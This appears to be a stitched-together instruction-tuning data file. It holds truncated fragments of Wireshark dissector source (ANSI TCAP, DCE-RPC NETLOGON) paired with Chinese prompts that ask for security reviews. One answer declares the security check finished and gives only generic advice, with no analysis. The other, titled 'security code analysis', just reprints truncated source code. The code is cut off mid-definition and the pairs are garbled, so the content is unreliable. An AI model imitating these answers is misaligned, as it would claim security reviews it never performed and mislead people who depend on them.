#define PNAME  "ANSI Transaction Capabilities Application Part"
#define PSNAME "ANSI_TCAP"
#define PFNAME "ansi_tcap"

void proto_register_ansi_tcap(void);
void proto_reg_handoff_ansi_tcap(void);

/* Preference settings */
#define ANSI_TCAP_TID_ONLY            0
#define ANSI_TCAP_TID_AND_SOURCE      1
#define ANSI_TCAP_TID_SOURCE_AND_DEST 2
static gint ansi_tcap_response_matching_type = ANSI_TCAP_TID_ONLY;

/* Initialize the protocol and registered fields */
static int proto_ansi_tcap = -1;

#if 0
static int hf_ansi_tcapsrt_SessionId = -1;
static int hf_ansi_tcapsrt_Duplicate = -1;
static int hf_ansi_tcapsrt_BeginSession = -1;
static int hf_ansi_tcapsrt_EndSession = -1;
static int hf_ansi_tcapsrt_SessionTime = -1;
#endif
static int hf_ansi_tcap_bit_h = -1;
static int hf_ansi_tcap_op_family = -1;
static int hf_ansi_tcap_op_specifier = -1;

#include "packet-ansi_tcap-hf.c"

/* Initialize the subtree pointers */
static gint ett_tcap = -1;
static gint ett_param = -1;
static gint ett_ansi_tcap_op_code_nat = -1;

static gint ett_otid = -1;
static gint ett_dtid = -1;
static gint ett_ansi_tcap_stat = -1;

static expert_field ei_ansi_tcap_dissector_not_implemented = EI_INIT;

static struct tcapsrt_info_t * gp_tcapsrt_info;
static gboolean tcap_subdissector_used=FALSE;

static struct tcaphash_context_t * gp_tcap_context=NULL;

/*...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ansi_tcap-template.c
 * Routines for ANSI TCAP
 * Copyright 2007 Anders Broman <anders.broman@ericsson.com>
 * Built from the gsm-map dissector Copyright 2004 - 2005, Anders Broman <anders.broman@ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 * References: T1.114
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/oids.h>
#include <epan/asn1.h>
#include <epan/strutil.h>

#include "packet-ber.h"
#include "packet-tcap.h"
#include "packet-ansi_tcap.h"

#define PNAME  "ANSI Transaction Capabilities Application Part"
#define PSNAME "ANSI_TCAP"
#define PFNAME "ansi_tcap"

void proto_register_ansi_tcap(void);
void proto_reg_handoff_ansi_tcap(void);

/* Preference settings */
#define ANSI_TCAP_TID_ONLY            0
#define ANSI_TCAP_TID_AND_SOURCE      1
#define ANSI_TCAP_TID_SOURCE_AND_DEST 2
static gint ansi_tcap_response_matching_type = ANSI_TCAP_TID_ONLY;

/* Initialize the protocol and registered fields */
static int proto_ansi_tcap = -1;

#if 0
static int hf_ansi_tcapsrt_SessionId = -1;
static int hf_ansi_tcapsrt_Duplicate = -1;
static int hf_ansi_tcapsrt_BeginSession = -1;
static int hf_ansi_tcapsrt_EndSession = -1;
static int hf_ansi_tcapsrt_SessionTime = -1;
#endif
static int hf_ansi_tcap_bit_h = -1;
static int hf_ansi_tcap_op_family = -1;
static int hf_ansi_tcap_op_specifier = -1;

#include "packet-ansi_tcap-hf.c"

/* Initialize the subtree pointers */
static gint ett_tcap = -1;
static gint ett_param = -1;
static gint ett_ansi_tcap_op_code_nat = -1;

static gint ett_otid = -1;
static gint ett_dtid = -1;
static gint ett_ansi_tcap_stat = -1;

static expert_field ei_ansi_tcap_dissector_not_implemented = EI_INIT;

static struct tcapsrt_info_t * gp_tcapsrt_info;
static gboolean tcap_subdissector_used=FALSE;

static struct tcaphash_context_t * gp_tcap_context=NULL;

/*...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dcerpc-netlogon.c
 * Routines for SMB \PIPE\NETLOGON packet disassembly
 * Copyright 2001,2003 Tim Potter <tpot@samba.org>
 *  2002 structure and command dissectors by Ronnie Sahlberg
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <wsutil/wsgcrypt.h>
#include <wsutil/wslog.h>

/* for dissect_mscldap_string */
#include "packet-ldap.h"
#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-dcerpc-netlogon.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-lsa.h"
#include "packet-ntlmssp.h"
#include "packet-dcerpc-misc.h"
/* for keytab format */
#include <epan/asn1.h>
#include "packet-kerberos.h"
/* for routines to read the keytab file */
#include "read_keytab_file.h"
/* for decoding */

void proto_register_dcerpc_netlogon(void);
void proto_reg_handoff_dcerpc_netlogon(void);

#ifdef DEBUG_NETLOGON
#include <stdio.h>
#define debugprintf(...) fprintf(stderr,__VA_ARGS__)
static void printnbyte(const guint8* tab,int nb,const char* txt,const char* txt2)
{
    int i=0;
    debugprintf("%s ",txt);
    for(i=0;i<nb;i++)
    {
        debugprintf("%02X ",*(tab+i));
    }
    debugprintf("%s",txt2);
}
#else
#define debugprintf(...)
static void printnbyte(const guint8* tab _U_,int nb _U_,const char* txt _U_,const char* txt2 _U_) {}
#endif

#define NETLOGON_FLAG_80000000 0x80000000
#define NETLOGON_FLAG_40000000 0x40000000
#define NETLOGON_FLAG_20000000 0x20000000
#define NETLOGON_FLAG_10000000 0x10000000
#define NETLOGON_FLAG_8000000   0x8000000
#define NETLOGON_FLAG_4000000   0x4000000
#define NETLOGON_FLAG_2000000   0x2000000
#define NETLOGON_FLAG_AES       0x1000000
#define NETLOGON_FLAG_800000     0x800000
#define NETLOGON_FLAG_400000     0x400000
#define NETLOGON_FLAG_200000     0x200000
#define NETLOGON_FLAG_100000     0x100000
#define...